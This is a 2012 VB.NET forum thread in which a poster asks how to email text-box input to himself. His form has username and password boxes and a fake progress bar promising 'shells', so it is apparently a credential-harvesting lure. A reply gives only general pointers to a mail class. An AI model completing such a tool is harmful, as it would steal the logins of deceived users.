-
Dec 24th, 2012, 06:59 AM
#1
Thread Starter
New Member
Sending to email help
Hello guys , i am a new user here
I am trying to do something that send the text witch has been typed in the text box to my email .
Here i give you the code so i hope you can help me .
PHP Code:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click
End Sub
Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(4)
If ProgressBar1.Value = 100 Then
Label6.Text = "Done . Please wait 1 hour to get your shells"
End If
Label5.Text = ProgressBar1.Value & (" %")
End Sub
Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click
End Sub
Private Sub Label5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label5.Click
End Sub
Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
End Sub
Private Sub UsernameBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
Private Sub PasswordBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
End Sub
Private Sub Label7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
End Class
IDK where to start over and make it to be sent to my email . Help please ....
-
Dec 24th, 2012, 07:47 AM
#2
Re: Sending to email help
You would use the System.Net.Mail.MailMessage class to send an email and use the Text of the TextBox as the Body. Search online and you'll find plenty of examples. Just make sure that you don't use the obsolete System.Web.Mail.MailMessage class.
-
Dec 24th, 2012, 11:24 AM
#3
Thread Starter
New Member
Re: Sending to email help
As i saw in the internet it was really hard , can someone put it in the code please because i really don't understand it
-
Dec 25th, 2012, 03:17 AM
#4
Re: Sending to email help
Not sure if this would be of any help (see first post)?
when you quote a post could you please do it via the "Reply With Quote" button or if it multiple post click the "''+" button then "Reply With Quote" button.
If this thread is finished with please mark it "Resolved" by selecting "Mark thread resolved" from the "Thread tools" drop-down menu.
https://get.cryptobrowser.site/30/4111672
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|